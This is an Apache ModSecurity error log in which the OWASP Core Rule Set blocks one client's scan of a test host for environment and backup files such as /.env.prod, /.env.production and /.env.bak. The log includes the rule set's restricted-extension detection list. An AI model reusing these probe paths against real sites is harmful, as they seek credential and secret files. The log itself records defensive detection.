[Thu Oct 30 20:07:53.885862 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.prod&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aQO3iUIRheG_olLGGo-lpAAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:53.886178 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aQO3iUIRheG_olLGGo-lpAAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:53.886457 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aQO3iUIRheG_olLGGo-lpAAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:54.431332 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.staging&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.staging&quot;] [unique_id &quot;aQO3ikIRheG_olLGGo-lpQAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:54.431587 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.staging&quot;] [unique_id &quot;aQO3ikIRheG_olLGGo-lpQAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:54.431815 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.staging&quot;] [unique_id &quot;aQO3ikIRheG_olLGGo-lpQAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:54.978394 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.development&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development&quot;] [unique_id &quot;aQO3ikIRheG_olLGGo-lpgAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:54.978662 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development&quot;] [unique_id &quot;aQO3ikIRheG_olLGGo-lpgAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:54.978884 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development&quot;] [unique_id &quot;aQO3ikIRheG_olLGGo-lpgAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:55.539663 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aQO3i0IRheG_olLGGo-lpwAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:55.539949 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aQO3i0IRheG_olLGGo-lpwAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:55.540180 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aQO3i0IRheG_olLGGo-lpwAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:56.097861 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.test&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test&quot;] [unique_id &quot;aQO3jEIRheG_olLGGo-lqAAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:56.098111 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test&quot;] [unique_id &quot;aQO3jEIRheG_olLGGo-lqAAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:56.098298 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test&quot;] [unique_id &quot;aQO3jEIRheG_olLGGo-lqAAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:56.615484 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;aQO3jEIRheG_olLGGo-lqQAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:56.615678 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;aQO3jEIRheG_olLGGo-lqQAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:56.615917 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;aQO3jEIRheG_olLGGo-lqQAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:56.616127 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;aQO3jEIRheG_olLGGo-lqQAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:57.253134 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.example&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aQO3jUIRheG_olLGGo-lqgAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:57.253388 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aQO3jUIRheG_olLGGo-lqgAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:57.253584 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aQO3jUIRheG_olLGGo-lqgAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:57.773103 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.sample&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.sample&quot;] [unique_id &quot;aQO3jUIRheG_olLGGo-lqwAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:57.777300 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.sample&quot;] [unique_id &quot;aQO3jUIRheG_olLGGo-lqwAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:57.777514 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.sample&quot;] [unique_id &quot;aQO3jUIRheG_olLGGo-lqwAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:58.358851 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aQO3jkIRheG_olLGGo-lrAAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:58.359036 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aQO3jkIRheG_olLGGo-lrAAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:58.359271 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aQO3jkIRheG_olLGGo-lrAAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:58.359457 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aQO3jkIRheG_olLGGo-lrAAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:58.895339 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aQO3jkIRheG_olLGGo-lrQAAAAI&quot;], referer: https://www.google.com/
